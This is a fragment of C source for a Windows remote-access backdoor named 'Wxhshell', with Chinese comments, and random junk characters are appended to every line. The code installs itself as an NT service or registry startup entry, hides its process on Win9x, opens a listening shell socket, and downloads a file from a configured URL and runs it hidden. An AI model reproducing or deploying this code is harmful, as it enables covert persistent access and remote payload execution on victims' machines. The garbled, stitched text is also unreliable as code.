DWORD BasePriority; qXF"1f_+
ULONG UniqueProcessId; eo8 0L
ULONG InheritedFromUniqueProcessId; *o#`l H
} PROCESS_BASIC_INFORMATION; w '"7~uN
[y:LA~q
PROCNTQSIP NtQueryInformationProcess; `2oi~^.
CP'-CQ\Q
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Ygl!fC
4b
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; &Xav$6+Z1J
q ^gEA5
HANDLE hProcess; d]^i1
PROCESS_BASIC_INFORMATION pbi; tc',c},h~,
FdqUv%(Em
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); WDZi
@9X_
if(NULL == hInst ) return 0; h CiblM
hMQaT-v
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); smU+:~
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); tFQFpbI
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ]VME`]t`
b+hY^$//
if (!NtQueryInformationProcess) return 0; [ZbK)L+_
Cw}\t!*!
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); h]#)41y<
if(!hProcess) return 0; E(8g(?4
nGVqVSxKT
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; M@\'Y$)Y{
}0(
Na
CloseHandle(hProcess); !iw
'tHhR
UU;:x"4
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); :9b RuUm
if(hProcess==NULL) return 0; ~-+Zu<
ob{pQx7
HMODULE hMod; +0 MKh
char procName[255]; ]YP?bP,:
unsigned long cbNeeded; : [y(<TLw
? la_ +;m
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); (=j!P*
!UTJ) &
CloseHandle(hProcess); l5FQ!>IM
6{'6_4;Fv(
if(strstr(procName,"services")) return 1; // 以服务启动 V1.F`3h~
T8-$[
2
return 0; // 注册表启动 o3=kF
} .KN]a"]
e`r;`a&
// 主模块 cy 4'q?r
int StartWxhshell(LPSTR lpCmdLine) a"}#HvB+
{ 16|S 0 )
SOCKET wsl; m+vEs,W.
BOOL val=TRUE; i1\2lh$
int port=0; aB^G
struct sockaddr_in door; EcIQ20Z_-
+`8)U 3u0
if(wscfg.ws_autoins) Install(); ItADO'M
E,7~kd~y`
port=atoi(lpCmdLine); NrcCUZ .:N
"ux]kfoT
if(port<=0) port=wscfg.ws_port; l,wN@Nk
V%lGJ]ZEa
WSADATA data; aUK4{F ;
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Nl`ry2"<
K/`RZ!
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; r%d11[z
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); m7vxzC*
door.sin_family = AF_INET; 'V#ew\
door.sin_addr.s_addr = inet_addr("127.0.0.1"); Hs=N0Sk]j
door.sin_port = htons(port); nM-SDVFM
?4e6w
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { |SKG4_wGe
closesocket(wsl); N+qLxk
return 1; A(OfG&!
} ^G&D4uZ
?i2Wst
if(listen(wsl,2) == INVALID_SOCKET) { [P=[hj;
closesocket(wsl); S.|kg2
return 1; ,$zlw\
} ih |Ky+ !
Wxhshell(wsl); $'YKB8C
WSACleanup(); ir:~*|
|qcFmy
return 0; 9zYiG3 d
917 0bmr
} ,G|aLBn
Q4Fq=kTE
// 以NT服务方式启动 NLZZMr
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) "%''k~UD4
{ 'z}M[h
K]
DWORD status = 0; l@rwf$-
DWORD specificError = 0xfffffff; !L.
K)9I
Y%:0|utQC
serviceStatus.dwServiceType = SERVICE_WIN32; _T|H69 J
serviceStatus.dwCurrentState = SERVICE_START_PENDING; dIpW!Pj^
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 2?- 07 g
serviceStatus.dwWin32ExitCode = 0; 3'*%R48P`
serviceStatus.dwServiceSpecificExitCode = 0; ()M@3={R
serviceStatus.dwCheckPoint = 0; .um&6Q=2<
serviceStatus.dwWaitHint = 0; S=H_9io
@D~+D@i$TW
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 3
t8 8AN=4
if (hServiceStatusHandle==0) return; (s$u_aq77
.^~l_LkA
status = GetLastError(); Afy .3T @)
if (status!=NO_ERROR) Kka8cG
{ #CA%]*l*F
serviceStatus.dwCurrentState = SERVICE_STOPPED; daB l%a=
serviceStatus.dwCheckPoint = 0; ;=-j;x
serviceStatus.dwWaitHint = 0; ^+%tlX_+.
serviceStatus.dwWin32ExitCode = status; A,-V$[;~D
serviceStatus.dwServiceSpecificExitCode = specificError; w^])(
SetServiceStatus(hServiceStatusHandle, &serviceStatus); tpa^k
return; u-QO>3oY6
} >bA$SN
;EJPrDHTk
serviceStatus.dwCurrentState = SERVICE_RUNNING; n{^<&GWox
serviceStatus.dwCheckPoint = 0; FL`1yD^2
serviceStatus.dwWaitHint = 0; h;%i/feFg
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); +~
3w5.8
} UW hn1N
m0|Ae@g~3
// 处理NT服务事件,比如:启动、停止 g=xv+e
VOID WINAPI NTServiceHandler(DWORD fdwControl) GG_^K#*
{
!@pV)RUv7
switch(fdwControl) ?""\
{ E7gHi$
case SERVICE_CONTROL_STOP: L19MP
serviceStatus.dwWin32ExitCode = 0; }PI35i1!t
serviceStatus.dwCurrentState = SERVICE_STOPPED; _{e&@d
serviceStatus.dwCheckPoint = 0; =a)iVXSB]
serviceStatus.dwWaitHint = 0; crd|2bjp+
{
w%3Fg~Up
SetServiceStatus(hServiceStatusHandle, &serviceStatus); .-SF$U_P*a
} =w^TcV
return; h
L]8e>a?
case SERVICE_CONTROL_PAUSE: MSZ!W(7,<
serviceStatus.dwCurrentState = SERVICE_PAUSED; 6z#lN>Y-`
break; cBifZv*l
case SERVICE_CONTROL_CONTINUE: I9}+(6
serviceStatus.dwCurrentState = SERVICE_RUNNING; m~u|VgD
break; $ViojW>
case SERVICE_CONTROL_INTERROGATE: :1aL9 fT
break; .pZ o(*
}; Y*@|My`
SetServiceStatus(hServiceStatusHandle, &serviceStatus); rIeM+h7W n
} uAu( +zV2
]alh_U
// 标准应用程序主函数 I*D<J$ 9N
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 2GSgG.%SSM
{ @Ex;9F,Q
?}vzLgp
// 获取操作系统版本 4~O6$;!|~
OsIsNt=GetOsVer(); pC*BA<?Rg
GetModuleFileName(NULL,ExeFile,MAX_PATH); +0]'| t F>
u_N\iCYp
// 从命令行安装 `Kh]x9Z
if(strpbrk(lpCmdLine,"iI")) Install(); /61by$E
QU:EY'2
// 下载执行文件 RcgRaQ2^
if(wscfg.ws_downexe) { BwC<rOU
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) a3Y{lc#z}
WinExec(wscfg.ws_filenam,SW_HIDE); ZA0i)(j*Mn
} (lb6]MtTHY
/xcJo g~F,
if(!OsIsNt) { d CE\^q[{
// 如果时win9x,隐藏进程并且设置为注册表启动 DU;[btK>
HideProc(); \a"i7Caa
StartWxhshell(lpCmdLine); 75ZH
} CoU3S,;*
else [-\({<t3x
if(StartFromService()) dFQo
// 以服务方式启动 V1<ow'^i
StartServiceCtrlDispatcher(DispatchTable); h40'@u^W
else , jy<o+!
// 普通方式启动 5C/2b.-[
StartWxhshell(lpCmdLine); wf?u(3/%
Go 1(@
return 0; |xh&p(
} /|GT\X4o
6
}! Z"
.d~\Ysve
`mzb(bE
=========================================== q +R*Hi
'w(y
J
-/>9c-F
OUzR@$
f ba&`
pz7H To;p
" zsDocR
(YwalfG {C
#include <stdio.h> ?6f7ld5
#include <string.h> w$j{Hp6m
#include <windows.h> _1
pDA
#include <winsock2.h> "(,2L,Zh
#include <winsvc.h> o)&"Rf
#include <urlmon.h> U&P{?>{u
#{$1z;i?f
#pragma comment (lib, "Ws2_32.lib") &vkjmiAS
#pragma comment (lib, "urlmon.lib") t0Zk-/s
]tB@kBi "
#define MAX_USER 100 // 最大客户端连接数 :"<e0wDu[
#define BUF_SOCK 200 // sock buffer H_w%'v &
#define KEY_BUFF 255 // 输入 buffer s\gp5MT
S/4r\6
#define REBOOT 0 // 重启 "_< 9PM1t
#define SHUTDOWN 1 // 关机 /[K_
&